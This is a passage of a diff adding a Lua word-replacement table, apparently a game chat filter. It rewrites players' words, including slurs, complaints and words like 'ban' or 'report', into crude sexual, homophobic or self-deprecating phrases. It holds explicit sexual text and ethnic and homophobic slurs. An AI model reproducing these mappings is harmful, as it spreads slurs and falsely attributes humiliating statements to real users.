"something that I am unable to spell,"}, + {what = "meen", with = "mean that you want my cock"}, + {what = "undastand", with = "anything about English, shoot me"}, + {what = "shuting", with = "Shutters"}, + {what = "givf", with = "Generic Mis-spelling"}, + {what = "gifv", with = "Generic Mis-spelling"}, + {what = "wepons", with = "massive cocks"}, + {what = "rere", with = "Replay mode"}, + {what = "dood", with = "Dog poo"}, + {what = "hittin", with = "hitting the bong,"}, + {what = "amirite", with = "am I cute"}, + {what = "cand", with = "Canned Goods"}, + {what = "biotch", with = "Biodiesel"}, + {what = "grammer", with = "buttplugs"}, + + {what = "killing", with = "Kissing"}, + {what = "roll", with = "create Cigarettes"}, + {what = "sheet", with = "Bedsheets"}, + {what = "roleplay", with = "Timewasting"}, + {what = "slayed", with = "Kissed"}, + {what = "slayd", with = "Kissed"}, + {what = "slaid", with = "Kissed"}, + {what = "slay", with = "Kiss"}, + {what = "suck", with = "Blow"}, + {what = "god", with = "Salad"}, + {what = "spellchecker", with = "Super Awesome Spell Checker"}, + {what = "lift", with = "Stairs"}, + {what = "trolling", with = "selling a bag of Minge"}, + {what = "fanny", with = "Desk Fan"}, + {what = "godmode", with = "your great big cock"}, + {what = "stupid", with = "up the butt"}, + {what = "votekick", with = "gobble your delicious cock"}, + {what = "voteban", with = "suck your delicious cock"}, + {what = "cheap", with = "Good Value"}, + {what = "nobs", with = "Hob Nobs"}, + {what = "screw", with = "Nail"}, + {what = "keel", with = "the boat"}, + {what = "heel", with = "Foot"}, + {what = "sucker", with = "Lollypop"}, + {what = "dangit", with = "Donut"}, + {what = "funk", with = "Jazz"}, + {what = "trolls", with = "empties a Bag of Minge on"}, + {what = "troll", with = "Bag of Minge"}, + {what = "trol", with = "Bag of Minge"}, + {what = "sucks", with = "is Awesome"}, + {what = "leave", with = "Fap"}, + {what = "admiin", with = "Awesome Dude"}, + {what = "admins", with = "Target Practice"}, + {what = "admin", with = "buttocks"}, + {what = "admen", with = "Awesome Dude"}, + {what = "adman", with = "Awesome Dude"}, + {what = "admun", with = "Awesome Dude"}, + {what = "hate", with = "LOVE"}, + {what = "base", with = "gas station"}, + {what = "brains", with = "tasty boner"}, + {what = "brain", with = "tasty boner"}, + {what = "report", with = "give you some lovin'"}, + {what = "abuse", with = "my brains out"}, + {what = "loser", with = "hot dude"}, + {what = "jelly", with = "bi"}, + {what = "jely", with = "bi"}, + {what = "jellie", with = "bi"}, + {what = "jelli", with = "bi"}, + {what = "jeli", with = "bi"}, + {what = "stop", with = "Shoot me"}, + {what = "stopp", with = "explode me"}, + {what = "dunno", with = "love hot dicks"}, + {what = "peace", with = "a banana car"}, + {what = "truce", with = "banana car"}, + {what = "chatfilter", with = "Inability to spell badly"}, + {what = "wordfilter", with = "Inability to spell"}, + {what = "gay", with = "Awesome"}, + {what = "homo", with = "cute"}, + {what = "homosexual", with = "Hot"}, + {what = "building", with = "building, so shoot me"}, + {what = "build", with = "die while I build"}, + {what = "camper", with = "Tactical Player"}, + {what = "camping", with = "Using Tactics"}, + {what = "camps", with = "licks me"}, + {what = "camp", with = "Use Tactics"}, + {what = "toilet", with = "Throne of Soltitude"}, + {what = "penis", with = "Love Whistle"}, + {what = "vagina", with = "Hamburger"}, + {what = "boss", with = "Irradiated haggis"}, + {what = "shutup", with = "bang me please!"}, + + {what = "gen", with = "Generator!"}, + {what = "genhex", with = "No, it's just HeX"}, + + {what = "pony", with = "I am terrible at this game"}, + {what = "ponie", with = "I am terrible at this game"}, + {what = "ponys", with = "I am terrible at this game"}, + {what = "ponies", with = "I am terrible at this game"}, + {what = "friendship", with = "fuckbuddy"}, + {what = "magic", with = "hash"}, + + {what = "haking", with = "being Awesome"}, + {what = "hakcer", with = "Pro"}, + {what = "haxors", with = "Breakfast Cerial"}, + {what = "hakd", with = "Eaten by Birds"}, + {what = "haks", with = "Skiddie Fuel"}, + {what = "hakc", with = "Gold"}, + {what = "haxor", with = "Buttocks"}, + {what = "hax", with = "Gold"}, + --{what = "hack", with = "Gold"}, + --{what = "cheat", with = "be Awesome"}, + + {what = "kicked", with = "licking my balls"}, + {what = "kick", with = "Lick"}, + {what = "banned", with = "free blowjobs"}, + {what = "banning", with = "going to suck"}, + {what = "baning", with = "going to suck"}, + {what = "ban", with = "Suck"}, + + --13 + {what = "autocorrected",with = "Auto Cucumber'd"}, + + --12 + {what = "spawnkilling", with = "being better than me"}, + + --11 + {what = "spawnkiller", with = "super cool player"}, + {what = "autocorrect", with = "Autocoffee"}, + {what = "wordphilter", with = "Super Awesome Word Cleanser"}, + {what = "thundercunt", with = "Thunderstorm"}, + + --10 + {what = "dontshootme", with = "Impossible, my wang is tiny"}, + {what = "impossibru", with = "Impossible, my wang is tiny"}, + {what = "inpossibru", with = "Impossible, your wang is bigger"}, + {what = "spellcheck", with = "Super Awesome Spell Checker"}, + + --9 + {what = "everythin", with = "everything is a potential sex toy!"}, + {what = "spectater", with = "Potato"}, + {what = "censoring", with = "Cleansing"}, + {what = "reporting", with = "coming to suck"}, + {what = "bathrooms", with = "Fortresses of Solitude"}, + {what = "thefilter", with = "the Super Awesome Chat Cleanser"}, + {what = "fallowing", with = "following me to the bathroom,"}, + + --8 + {what = "proovehn", with = "Baked"}, + {what = "censored", with = "the Electric Light"}, + {what = "somethin", with = "some Acid"}, + {what = "sumthing", with = "something terrible"}, + {what = "traitorz", with = "traitor's Panties"}, + {what = "terorest", with = "Terrorist's anus"}, + {what = "onnocent", with = "still a virgin"}, + {what = "reportin", with = "giving you some lovein'"}, + {what = "stuidpid", with = "epic"}, + {what = "sentance", with = "Word that i cannot spell"}, + {what = "bathroom", with = "Fortress of Solitude"}, + {what = "terribad", with = "terrible news everyone, my dick is only 1 inch long"}, + {what = "congrats", with = "you should really see my webcam tonight!"}, + {what = "reported", with = "shot"}, + {what = "mingebag", with = "Cool Dude"}, + {what = "everytin", with = "every dildo in my collection"}, + {what = "waddafak", with = "Water and Ducks"}, + {what = "ratarded", with = "great"}, + {what = "censores", with = "wears cute panties"}, + {what = "rustling", with = "Fapping"}, + {what = "anythink", with = "anything but butt plugs, please"}, + {what = "screwing", with = "in bed with"}, + {what = "asswupes", with = "Toilet Paper"}, + {what = "fuicking", with = "Loving"}, + + --7 + {what = "playign", with = "Losing"}, + {what = "retared", with = "Epic"}, + {what = "reetard", with = "cool dude"}, + {what = "derpfag", with = "hot dude"}, + {what = "shawteh", with = "my short dick"}, + {what = "censors", with = "cute panties"}, + {what = "facking", with = "Loving"}, + {what = "broskio", with = "my brother's dildo collection"}, + {what = "shootin", with = "shooting my hot load all over your face with"}, + {what = "cursing", with = "Cucumber"}, + {what = "trolled", with = "Banged"}, + {what = "ujelleh", with = "You like my huge trouser snake?"}, + {what = "baiting", with = "Fapping"}, + {what = "annoyin", with = "epic, sadly i can't spell the word 'Annoying'"}, + {what = "tratior", with = "panties"}, + {what = "dumbest", with = "most awesome"}, + {what = "gaggots", with = "hot dudes"}, + {what = "retards", with = "people who are much better than me"}, + {what = "traitar", with = "Traitor's anus"}, + {what = "inncent", with = "young and horny"}, + {what = "anoying", with = "young and horny"}, + {what = "shuddup", with = "eat me out"}, + {what = "turrent", with = "box of panties"}, + {what = "shotted", with = "BOOMSTICK"}, + {what = "asswipe", with = "38 rolls of Toilet Paper"}, + {what = "traiter", with = "Traitor's buttocks"}, + {what = "prooven", with = "Oven"}, + {what = "whatcha", with = "what do panties"}, + {what = "cumming", with = "dispensing Baby Cream"}, + {what = "buthole", with = "Rear End"}, + {what = "wadafak", with = "Water and Ducks"}, + {what = "wutever", with = "Windows Updates, forever"}, + {what = "xheater", with = "Boiler"}, + {what = "bazzoka", with = "Chocolate Kettle"}, + {what = "homming", with = "sexytime"}, + {what = "hidding", with = "sexytime"}, + {what = "lollery", with = "Lottery"}, + {what = "wadafuq", with = "Horse Dick"}, + {what = "wadafuk", with = "Horse Dick"}, + {what = "founded", with = "Pipeworks"}, + {what = "noscope", with = "Up the butt!"}, + {what = "yuppers", with = "yum yum Poops"}, + {what = "toilets", with = "Thrones of Soltitude"}, + {what = "stopplz", with = "Come and shoot me now, ignore everything else I say!"}, + {what = "stoppls", with = "Come and shoot me now, ignore everything else I say!"}, + {what = "builded", with = "built, but I can't spell that word so shoot me"}, + {what = "roflmao", with = "I'm an idiot"}, + {what = "sumthin", with = "something about dildos and"}, + {what = "traitro", with = "Panties"}, + {what = "stoppin", with = "stopping to take a dump"}, + {what = "idiotic", with = "really awesome"}, + {what = "joygasm", with = "i shook my cock too hard and jizz exploded all over my pants"}, + {what = "kicking", with = "kissing"}, + {what = "provenz", with = "fapping"}, + {what = "bicthes", with = "Female Dogs"}, + {what = "censorz", with = "Kisses"}, + {what = "filters", with = "gives it the Auto Cucumber"}, + {what = "typeing", with = "typing about sex toys and"}, + {what = "watchin", with = "watching some porn and"}, + {what = "traytor", with = "boyfriend"}, + {what = "randumb", with = "random boner for you"}, + {what = "trators", with = "and your boyfriend's"}, + {what = "jimmies", with = "jimmie's cock"}, + {what = "slaying", with = "Kissing"}, + {what = "ferggot", with = "my boyfriend"}, + {what = "phaggot", with = "my new boyfriend"}, + {what = "fawking", with = "Loving"}, + {what = "filnter", with = "Super Awesome Chat Cleanser"}, + {what = "stoopid", with = "Awesome"}, + {what = "campers", with = "guys using Tactics"}, + {what = "taiting", with = "Scrabble"}, + {what = "remnebr", with = "remember your massive cock"}, + {what = "furggot", with = "my new boyfriend"}, + {what = "screwin", with = "in bed with"}, + {what = "dammmit", with = "block the river!"}, + {what = "fockers", with = "Lovers"}, + + --6 + {what = "sensor", with = "Electric Light"}, + {what = "ruwend", with = "great"}, + {what = "mother", with = "dog"}, + {what = "whoevr", with = "whoever can spell"}, + {what = "mohter", with = "dog"}, + {what = "rdmeed", with = "blew his hot load all over"}, + {what = "saynig", with = "saying that I'm horny,"}, + {what = "errday", with = "every day i fap quite a lot"}, + {what = "alotta", with = "a lot of sex toys"}, + {what = "campin", with = "using Tactics"}, + {what = "fnking", with = "Loving"}, + {what = "obvius", with = "obvious that i can't spell,"}, + {what = "theirr", with = "their cute little butt,"}, + {what = "urdmer", with = "ice on top"}, + {what = "mommas", with = "dog is"}, + {what = "reeded", with = "Read/Write buffer"}, + {what = "deaded", with = "accidentally my whole brain"}, + {what = "facker", with = "great in bed"}, + {what = "kileld", with = "Banged"}, + {what = "faking", with = "Loving"}, + {what = "suckin", with = "suching his juicey boner with"}, + {what = "shlong", with = "Garden Hose"}, + {what = "bittys", with = "my microscopic nipples"}, + {what = "broski", with = "boyfriend"}, + {what = "derpin", with = "Doorstop"}, + {what = "herpin", with = "Hiar Pin"}, + {what = "aboose", with = "a Moose"}, + {what = "censor", with = "Electric Light"}, + {what = "gagged", with = "sucked on"}, + {what = "gimped", with = "sucked on"}, + {what = "idunno", with = "i love a nice hot cock"}, + {what = "woulda", with = "would have to bang him all night long, then"}, + {what = "rdming", with = "cumming all over"}, + {what = "rdmimg", with = "shooting with the guns"}, + {what = "moneiz", with = "boxes of dicks"}, + {what = "someon", with = "someone's cute dick"}, + {what = "talkin", with = "talking about dick and"}, + {what = "fallow", with = "Explode"}, + {what = "crrect", with = "Cucumber"}, + {what = "traite", with = "Traitor's anus"}, + {what = "shudup", with = "bone me one last time"}, + {what = "traitr", with = "Traitor's anus"}, + {what = "muther", with = "basement"}, + {what = "cuming", with = "dispensing Baby Cream"}, + {what = "wnanna", with = "Banana"}, + {what = "trator", with = "Tractor"}, + {what = "watcha", with = "Windows Activation, const char*"}, + {what = "adming", with = "Added sugar"}, + {what = "dafauq", with = "Fuckweasel!"}, + {what = "nuthin", with = "nothing, except I would like you to shoot me"}, + {what = "dident", with = "didn't know how to spell"}, + {what = "frount", with = "Buttocks"}, + {what = "dontdo", with = "everyone shoot"}, + {what = "stopit", with = "Everyone, I'm gay!"}, + {what = "healng", with = "ready to suck"}, + {what = "easyer", with = "super hard to spell"}, + {what = "lolwut", with = "lol I have a huge boner for you :3"}, + {what = "lefted", with = "took a wrong turn"}, + {what = "urself", with = "my tiny little dick"}, + {what = "morrow", with = "with my Lawn Mower"}, + {what = "brovva", with = "Brown"}, + {what = "whatrv", with = "what Explosives"}, + {what = "proppa", with = "Propellor"}, + {what = "youmad", with = "You're awesome"}, + {what = "biatch", with = "In my ass!"}, + {what = "foreva", with = "for my ass"}, + {what = "tonite", with = "After the hour of eight"}, + {what = "filter", with = "Super Awesome Chat Cleanser"}, + {what = "brotha", with = "brother's anus"}, + {what = "anotha", with = "another dick and"}, + {what = "effing", with = "having an intense lovemaking session with"}, + {what = "enione", with = "with butt plugs,"}, + {what = "yupers", with = "yum yum Poops"}, + {what = "coolio", with = "I/O bandwidth"}, + {what = "buncha", with = "Bum Time!"}, + {what = "putted", with = "put it in my butt"}, + {what = "dahell", with = "Direct Access HELL"}, + {what = "pweese", with = "Terrible Playlist"}, + {what = "bronys", with = "I suck at this game"}, + {what = "snipah", with = "butt plug"}, + {what = "tiping", with = "typing badly"}, + {what = "prolly", with = "probably insert the probe then"}, + {what = "pwning", with = "getting laid with"}, + {what = "killme", with = "please kill me"}, + {what = "nothin", with = "nothing in my brain but air"}, + {what = "handel", with = "Love Handle"}, + {what = "knthnx", with = "ok thanks for that cock"}, + {what = "negger", with = "Billboard"}, + {what = "shoted", with = "BOOMSTICK"}, + {what = "beddur", with = "Bladder"}, + {what = "somone", with = "someone who can spell"}, + {what = "tratis", with = "Toilets"}, + {what = "shafts", with = "Crankshafts"}, + {what = "ucking", with = "Loving"}, + {what = "traits", with = "Trays of food"}, + {what = "mommaz", with = "Panties"}, + {what = "idoits", with = "do it all night!"}, + {what = "pwease", with = "My best playlist"}, + {what = "chater", with = "Instant Message"}, + {what = "stupit", with = "awesome"}, + {what = "adaman", with = "awesome dude"}, + {what = "prease", with = "release the dogs"}, + {what = "beetch", with = "Buckets and Spades"}, + {what = "gayzer", with = "Laser"}, + {what = "killed", with = "Kissed"}, + {what = "servah", with = "broken server"}, + {what = "hearin", with = "here, in my fridge"}, + {what = "fcking", with = "Burgerking"}, + {what = "stopid", with = "Bluescreen"}, + {what = "urdelf", with = "Fatal logical ERROR"}, + {what = "thiing", with = "thing that i am unable to spell"}, + {what = "benned", with = "Bender"}, + {what = "filtur", with = "Super Awsome Chat Cleanser"}, + {what = "lickin", with = "Ice Cream"}, + {what = "dubass", with = "Drum n' Bass"}, + {what = "nagger", with = "Potato Farm"}, + {what = "gayest", with = "most Awesome"}, + {what = "focker", with = "meet your parents"}, + + --5 + {what = "emmmd", with = "then we jerked eachother off"}, + {what = "rrent", with = "rent a movie"}, + {what = "rongg", with = "perfect for giving blowjobs"}, + {what = "thise", with = "these cute dicks with"}, + {what = "isaid", with = "I said i am unable to spell"}, + {what = "srver", with = "Banana"}, + {what = "kiled", with = "Banged"}, + {what = "durin", with = "during out last sexytime"}, + {what = "anoye", with = "Annoyance"}, + {what = "chats", with = "Politics'"}, + {what = "abbos", with = "my brains out"}, + {what = "rdmrs", with = "horny guys"}, + {what = "sayin", with = "saying that i LOVE dildos,"}, + {what = "arang", with = "my telephone"}, + {what = "chatt", with = "Super Awesome Chat Cleanser"}, + {what = "aight", with = "awesome, but i'm terrible"}, + {what = "dming", with = "getting hard"}, + {what = "killo", with = "Dishwasher"}, + {what = "peeps", with = "System Speaker"}, + {what = "pvssy", with = "old Cats"}, + {what = "naems", with = "first person to name my new dildo!"}, + {what = "fucng", with = "playing the Jazz"}, + {what = "wantt", with = "would you like to be my first!"}, + {what = "ballz", with = "Spheres"}, + {what = "lawrd", with = "bring the lard"}, + {what = "utube", with = "search Youtube for 'vacbed',"}, + {what = "wanan", with = "Minivan"}, + {what = "slain", with = "kissed"}, + {what = "bithc", with = "Ball-point pen"}, + {what = "booat", with = "boat full of sexy guys"}, + {what = "shutt", with = "stuff it up my butthole, all the way"}, + {what = "comon", with = "Cartridge Monitor"}, + {what = "fuyck", with = "Fork Lift"}, + {what = "cumin", with = "cumming all over myself,"}, + {what = "asses", with = "cute butts"}, + {what = "gaben", with = "I want you tonight"}, + {what = "dunoo", with = "Diiner Tray"}, + {what = "trayt", with = "Diiner Tray"}, + {what = "sever", with = "Banana"}, + {what = "ihate", with = "I LOVE"}, + {what = "bawse", with = "base based base items"}, + {what = "tator", with = "Coffee"}, + {what = "cking", with = "Heat Seeking"}, + {what = "tryst", with = "my father's cock"}, + {what = "mothr", with = "father's cock"}, + {what = "wurld", with = "world of pain"}, + {what = "trait", with = "cum all over me tonight"}, + {what = "stupd", with = "Sucked it all night"}, + {what = "rdmer", with = "amazing sex toy"}, + {what = "gotta", with = "got to suck this huge dick and"}, + {what = "rdmed", with = "Dick'd"}, + {what = "innos", with = "horny"}, + {what = "momma", with = "panties"}, + {what = "fllow", with = "follow me for a happy ending with"}, + {what = "tards", with = "TARDIS"}, + {what = "bouth", with = "boolean Ouch"}, + {what = "mista", with = "my father's cock"}, + {what = "negga", with = "Bilboard"}, + {what = "wrods", with = "Carbon Rods"}, + {what = "nutin", with = "Mixed Nuts"}, + {what = "shiet", with = "Horse Dung"}, + {what = "tawlk", with = "Towel Rail"}, + {what = "wadda", with = "Water"}, + {what = "nowai", with = "no way, come and shoot me!"}, + {what = "stope", with = "keep shooting me, I can't spell"}, + {what = "pwend", with = "a massive boner"}, + {what = "faggy", with = "hot"}, + {what = "herro", with = "Hello, I can't spell!"}, + {what = "finde", with = "fondle"}, + {what = "useto", with = "used to be able to spell"}, + {what = "noice", with = "Diet coke, no ice"}, + {what = "tings", with = "sex toys"}, + {what = "monny", with = "money for new sex toys"}, + {what = "basck", with = "back to the toilet"}, + {what = "minge", with = "perfect player"}, + {what = "nevur", with = "sucking my boner"}, + {what = "owned", with = "laid tonight"}, + {what = "mofos", with = "Motherboards"}, + {what = "bases", with = "gas stations",}, + {what = "pwned", with = "laid tonight"}, + {what = "mothe", with = "Mouth"}, + {what = "srrys", with = "iPhones"}, + {what = "realy", with = "Power Relay"}, + {what = "heere", with = "inside me"}, + {what = "brony", with = "I suck at this game"}, + {what = "dafuq", with = "Bone me time and time again"}, + {what = "dafaq", with = "the FAQ"}, + {what = "nevah", with = "Always"}, + {what = "dayum", with = "Daytime"}, + {what = "lmfao", with = "Lend me five awesome oranges!"}, + {what = "rotfl", with = "box of Rifles"}, + {what = "lemme", with = "let me cleanup all this jizz and"}, + {what = "raged", with = "Exploded cream"}, + {what = "musta", with = "Mustad"}, + {what = "brova", with = "Brown"}, + {what = "motha", with = "Mothballs"}, + {what = "sista", with = "since Cats"}, + {what = "havin", with = "having handjobs with"}, + {what = "propa", with = "Propane"}, + {what = "gunna", with = "going to suck and"}, + {what = "gonna", with = "going to blow and"}, + {what = "wantz", with = "wants my dick with"}, + {what = "balls", with = "Spheres"}, + {what = "enuff", with = "English Unfailing"}, + {what = "thanx", with = "thanks for the blowjob"}, + {what = "fagit", with = "Cigarette"}, + {what = "faget", with = "Cigarette"}, + {what = "srsly", with = "I'm not sure I can comprehend that"}, + {what = "srlsy", with = "SERVERS!"}, + {what = "tryna", with = "terrible at spelling, kill me while i"}, + {what = "defin", with = "#define"}, + {what = "swype", with = "Skype"}, + {what = "atcha", with = "const char*"}, + {what = "hardy", with = "Hardon"}, + {what = "comin", with = "cumming deep inside my butt,"}, + {what = "harrr", with = "Hardon!"}, + {what = "seein", with = "C4 in"}, + {what = "faggs", with = "Cigarettes"}, + {what = "mutha", with = "Mother's panties"}, + {what = "liyer", with = "Pond Liner"}, + {what = "puted", with = "put it in my butt"}, + {what = "orlly", with = "and suck my boner"}, + {what = "plees", with = "a Playlist"}, + {what = "pleez", with = "a Playlist"}, + {what = "phail", with = "suck my boner tonight!"}, + {what = "filte", with = "Boner!"}, + {what = "prise", with = "boner"}, + {what = "pleas", with = "a Playlist"}, + {what = "bawls", with = "Spheres"}, + {what = "bebeh", with = "tiny dick"}, + {what = "babeh", with = "tiny dick"}, + {what = "tomoz", with = "tomorrow, i'll bone you"}, + {what = "somin", with = "some Buttplugs"}, + {what = "doont", with = "test your guns on me"}, + {what = "killl", with = "kill me, I can't spell!"}, + {what = "noope", with = "yes yes!"}, + {what = "donnt", with = "yes, shoot me, I really can't spell atall!"}, + {what = "iight", with = "alright, shoot me, I really can't spell!"}, + {what = "youer", with = "your dick is massive, but mine is tiny and your"}, + {what = "probs", with = "the probe"}, + {what = "sayed", with = "said to shoot me and"}, + {what = "butin", with = "Butane"}, + {what = "guise", with = "guy's dicks"}, + {what = "sorie", with = "sorry, but I can't spell so please shoot me"}, + {what = "idoit", with = "i do it with dogs!"}, + {what = "newbs", with = "awesome players"}, + {what = "relly", with = "Belly"}, + {what = "becuz", with = "Cups"}, + {what = "basee", with = "gas station Explosives"}, + {what = "fucin", with = "Lovin'"}, + {what = "loljk", with = "lol, I jerkoff too much!"}, + {what = "wanna", with = "want to have your great big cock and"}, + {what = "herpy", with = "Hair Pin"}, + {what = "derpy", with = "Doorstops"}, + {what = "niuce", with = "new Ice"}, + {what = "injoy", with = "enjoy a nice big dildo with"}, + {what = "bannd", with = "into my bed"}, + {what = "heelp", with = "Teal'c"}, + {what = "aboos", with = "a boner"}, + {what = "needa", with = "need to get sucking right away and"}, + {what = "betta", with = "better come to my bed"}, + {what = "outta", with = "out to suck dicks tonight with"}, + {what = "stoop", with = "shoot me, I can't spell!"}, + {what = "sawry", with = "Wood Saw"}, + {what = "shaft", with = "Mineshaft"}, + {what = "fufck", with = "Love"}, + {what = "chiat", with = "Chinatown"}, + {what = "isent", with = "i sent it but he never replied"}, + {what = "doest", with = "get sucking"}, + {what = "dammm", with = "Hoover Dam"}, + {what = "hatte", with = "Hat shop"}, + {what = "buyed", with = "bought a whole box of dildos then"}, + {what = "wonna", with = "want to blow you then"}, + {what = "ganna", with = "going to blow you then"}, + {what = "afker", with = "after fucking him all night"}, + {what = "fuick", with = "Candles"}, + {what = "weere", with = "Wee-Wee"}, + {what = "sorru", with = "sorry, i have damaged by brain"}, + {what = "sttop", with = "Shoot me"}, + {what = "erver", with = "Server Error"}, + {what = "bebbe", with = "Baby Cream"}, + {what = "watta", with = "Water Pipes"}, + {what = "evere", with = "Frying pan"}, + {what = "belve", with = "Bells"}, + {what = "bebby", with = "Baby Cream"}, + {what = "whyde", with = "why did you not shoot me"}, + {what = "totor", with = "Potato"}, + {what = "hopin", with = "hoping to be able to spell one day"}, + {what = "ucant", with = "you're awesome, i can't spell"}, + {what = "nagga", with = "box of kittens"}, + {what = "hellz", with = "Disneyland"}, + {what = "gratz", with = "great with ketchup, not"}, + {what = "fcker", with = "Lover"}, + {what = "tryed", with = "tried to spell"}, + {what = "rdmet", with = "exploded all over"}, + {what = "beech", with = "too much sand"}, + {what = "arses", with = "Buttocks"}, + {what = "mommy", with = "my mother"}, + {what = "gusta", with = "Tornado"}, + {what = "rtard", with = "R2D2"}, + + --4 + {what = "emmm", with = "condoms"}, + {what = "rong", with = "absolutely correct"}, + {what = "erey", with = "every day i lose more and more braincells"}, + {what = "usay", with = "My balls say"}, + {what = "xhat", with = "Top hat"}, + {what = "anal", with = "Backdoor"}, + {what = "kthx", with = "Home Cinema"}, + {what = "uget", with = "My balls get"}, + {what = "mawm", with = "Meow"}, + {what = "cack", with = "Boner"}, + {what = "fuxk", with = "Lube"}, + {what = "thrw", with = "through the gloryhole"}, + {what = "cuss", with = "trigger the Auto Cucumber"}, + {what = "moms", with = "dog's"}, + {what = "urdm", with = "cum all over"}, + {what = "suss", with = "SCSI Drivers"}, + {what = "mroe", with = "more cock for me then"}, + {what = "fack", with = "Love"}, + {what = "lawd", with = "bring the lard"}, + {what = "caht", with = "box of Kittens"}, + {what = "whic", with = "which one would be good for my tight butthole,"}, + {what = "dumn", with = "Dubstep"}, + {what = "zomg", with = "oh and i REALLY love delicious cocks"}, + {what = "fvck", with = "Love"}, + {what = "anus", with = "Bunch of flowers"}, + {what = "fcku", with = "Love"}, + {what = "nger", with = "Engine"}, + {what = "noaw", with = "Lube"}, + {what = "rawr", with = "Lion Poo"}, + {what = "stuk", with = "sucking on his massive boner"}, + {what = "cawk", with = "Wine Cork"}, + {what = "nevr", with = "never thoguth I'd like anal"}, + {what = "inuf", with = "Candles"}, + {what = "hade", with = "had a nice new dildo and"}, + {what = "buyd", with = "bought a new 18 inch dildo then"}, + {what = "damm", with = "Hoover Dam"}, + {what = "bitc", with = "bit of C++"}, + {what = "emed", with = "Dick'd"}, + {what = "gyus", with = "guys doing with your dicks tonight"}, + {what = "moma", with = "Panties"}, + {what = "momm", with = "Panties"}, + {what = "saud", with = "said about the dick"}, + {what = "meny", with = "much fapping for"}, + {what = "stap", with = "someone's trouser snake"}, + {what = "whas", with = "was taking a dildo and"}, + {what = "iama", with = "I do have a massive hardon for"}, + {what = "pres", with = "Press Q"}, + {what = "gaiz", with = "cute dudes"}, + {what = "donn", with = "dong warning"}, + {what = "tuch", with = "Torch"}, + {what = "idit", with = "AT-AT"}, + {what = "diot", with = "Shower Gel"}, + {what = "dumb", with = "Drum n' Bass"}, + {what = "fagg", with = "are really cute"}, + {what = "choo", with = "Train"}, + {what = "afks", with = "many cans of poo"}, + {what = "ther", with = "there, bring lube"}, + {what = "dese", with = "Jessie"}, + {what = "nigs", with = "Hair"}, + {what = "wada", with = "Water"}, + {what = "whot", with = "guess what's up my ass!"}, + {what = "shat", with = "Took a dump"}, + {what = "gttg", with = "Got to go eat some Barbed Wire!"}, + {what = "brrb", with = "too much Barbed Wire!"}, + {what = "guis", with = "Graphical User Interfaces"}, + {what = "pwns", with = "Pornos"}, + {what = "pwnd", with = "Porno"}, + {what = "dows", with = "does your dick like me?"}, + {what = "yuor", with = "my buttocks, I can't spell 'Your'"}, + {what = "ghey", with = "Awesome"}, + {what = "wowa", with = "Wow, I can't spell!"}, + {what = "pook", with = "Pork Pie"}, + {what = "ahve", with = "have to buy a new dildo and"}, + {what = "whil", with = "While eating you out and"}, + {what = "whoi", with = "Who's dick did I suck last night"}, + {what = "wasa", with = "What's wrong with my brain, I can't spell!"}, + {what = "farq", with = "Gallon of milk"}, + {what = "noub", with = "no you bone me!"}, + {what = "herp", with = "Hair Pin"}, + {what = "hurr", with = "Hurricane"}, + {what = "derp", with = "Doorstop"}, + {what = "evar", with = "Variables"}, + {what = "wnna", with = "want your boner and"}, + {what = "gnna", with = "going to suck it all night long"}, + {what = "sayd", with = "said come and shoot me"}, + {what = "weps", with = "butt wipes"}, + {what = "ugay", with = "You're cool"}, + {what = "kniw", with = "fap last night"}, + {what = "ogod", with = "why don't you all shoot me"}, + {what = "whay", with = "why don't you all shoot me"}, + {what = "whai", with = "Windows Hell"}, + {what = "orly", with = "and suck my boner"}, + {what = "frum", with = "from my ass and"}, + {what = "ulul", with = "lick my toilet"}, + {what = "tper", with = "Toilet Paper"}, + {what = "maek", with = "I'm gay"}, + {what = "juss", with = "Orange Juice"}, + {what = "evah", with = "Fatal logical error"}, + {what = "wiff", with = "Blocked Toilet"}, + {what = "yush", with = "FapFapFap"}, + {what = "mofo", with = "Motherboard"}, + {what = "ment", with = "love cocks and"}, + {what = "serv", with = "Solid Rocket Booster"}, + {what = "newb", with = "Infrequent Player"}, + {what = "woot", with = "Freight Train"}, + {what = "ownd", with = "with me last night"}, + {what = "wats", with = "Windows Activation is"}, + {what = "wuts", with = "Wundows Update Service"}, + {what = "wutz", with = "Wundows Update Service"}, + {what = "shyt", with = "Poo-Poo"}, + {what = "coem", with = "Come and shoot me"}, + {what = "guiz", with = "guys, come and shoot me"}, + {what = "kool", with = "hot"}, + {what = "folo", with = "bone"}, + {what = "wher", with = "with dildos"}, + {what = "mest", with = "Gunship"}, + {what = "plox", with = "with my poops"}, + {what = "gtfo", with = "give the flaming orange!"}, + {what = "sotp", with = "Shoot me!"}, + {what = "yolo", with = "Why can't I spell properly?!"}, + {what = "lool", with = "Overflowing Lavatory!"}, + {what = "heer", with = "on me"}, + {what = "flai", with = "I'm gay :D"}, + {what = "evry", with = "Explosive"}, + {what = "bace", with = "Bum"}, + {what = "oosp", with = "Spoon"}, + {what = "jeez", with = "jizz"}, + {what = "yerp", with = "Oh dear, I can't spell"}, + {what = "kewl", with = "Pickaxe!"}, + {what = "geez", with = "Sneeze"}, + {what = "waht", with = "White Hat"}, + {what = "umad", with = "You're awesome :D"}, + {what = "cuzz", with = "Cruise"}, + {what = "brah", with = "Bra"}, + {what = "bruh", with = "Bra"}, + {what = "pwnt", with = "I'm losing badly"}, + {what = "doin", with = "Sucking"}, + {what = "dewd", with = "Mountain Dew"}, + {what = "bout", with = "Motorboat"}, + {what = "nees", with = "Knee"}, + {what = "whit", with = "with my new dildo and"}, + {what = "bewm", with = "Broomstick"}, + {what = "baus", with = "Boat House"}, + {what = "neva", with = "Nevada"}, + {what = "dats", with = "Data tapes"}, + {what = "prob", with = "Probe"}, + {what = "wrud", with = "Please shoot me, I can't spell atall"}, + {what = "naow", with = "Meow"}, + {what = "omfg", with = "or my free guns"}, + {what = "liek", with = "Lick"}, + {what = "leik", with = "Lick me"}, + {what = "dawg", with = "Cat"}, + {what = "nawt", with = "Zero"}, + {what = "thar", with = "there and shoot me"}, + {what = "sorz", with = "Jackhammer"}, + {what = "lmao", with = "Lend me an orange!"}, + {what = "lmbo", with = "Large Motorboat"}, + {what = "rofl", with = "Rifle"}, + {what = "rite", with = "My ass"}, + {what = "bois", with = "BIOS"}, + {what = "boiz", with = "BIOS"}, + {what = "plzz", with = "Playlists!"}, + {what = "plzs", with = "Playlists"}, + {what = "rlly", with = "Relay"}, + {what = "cmon", with = "cum all over me"}, + {what = "cmin", with = "Cartridge Minimum"}, + {what = "tink", with = "piss in the darkness"}, + {what = "imma", with = "Windows 98"}, + {what = "srry", with = "iPhone"}, + {what = "srru", with = "iPhone"}, + {what = "lolz", with = "want to see my xtube profile? it's _FLT_"}, + 